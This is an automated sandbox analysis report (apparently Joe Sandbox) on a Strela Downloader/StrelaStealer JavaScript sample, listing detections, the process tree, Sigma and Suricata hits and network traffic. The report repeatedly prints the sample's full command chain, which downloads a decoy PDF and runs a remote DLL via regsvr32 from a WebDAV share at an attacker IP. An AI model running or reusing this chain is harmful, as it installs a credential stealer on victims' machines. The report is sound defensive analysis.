Edit tour

Windows Analysis Report
247714231173424547.js

Overview

General Information

Sample name:	247714231173424547.js
Analysis ID:	1588139
MD5:	6bb326246fee6ac5551cad3512465e71
SHA1:	ee1817ad6d4925b1e776c93e1f5d4a06bd41817e
SHA256:	4f35c5ddf36b4e71873adf675c08a804273f764670871f7a64f8751a0e4166b8
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7324 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247714231173424547.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7412 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7464 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7644 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7860 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8052 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1640,i,12368101296356233918,12321352274645711292,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7660 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7748 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7928 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7324	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7412, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7464, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7412, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7464, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247714231173424547.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247714231173424547.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247714231173424547.js", ProcessId: 7324, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7748, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49753

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247714231173424547.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7324, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, ProcessId: 7412, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247714231173424547.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7324, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, ProcessId: 7412, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247714231173424547.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7324, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, ProcessId: 7412, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247714231173424547.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7324, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, ProcessId: 7412, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247714231173424547.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7324, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, ProcessId: 7412, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247714231173424547.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247714231173424547.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247714231173424547.js", ProcessId: 7324, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7412, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7464, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7660, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7748, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7928, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7660, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7748, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247714231173424547.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7324, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, ProcessId: 7412, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:48:46.165414+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49753	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:48:43.405236+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49736	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 247714231173424547.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 247714231173424547.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49753 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:48:43 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49753

Source: global traffic

TCP traffic: 192.168.2.9:49753 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.9:51517 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49736 -> 193.143.1.205:80

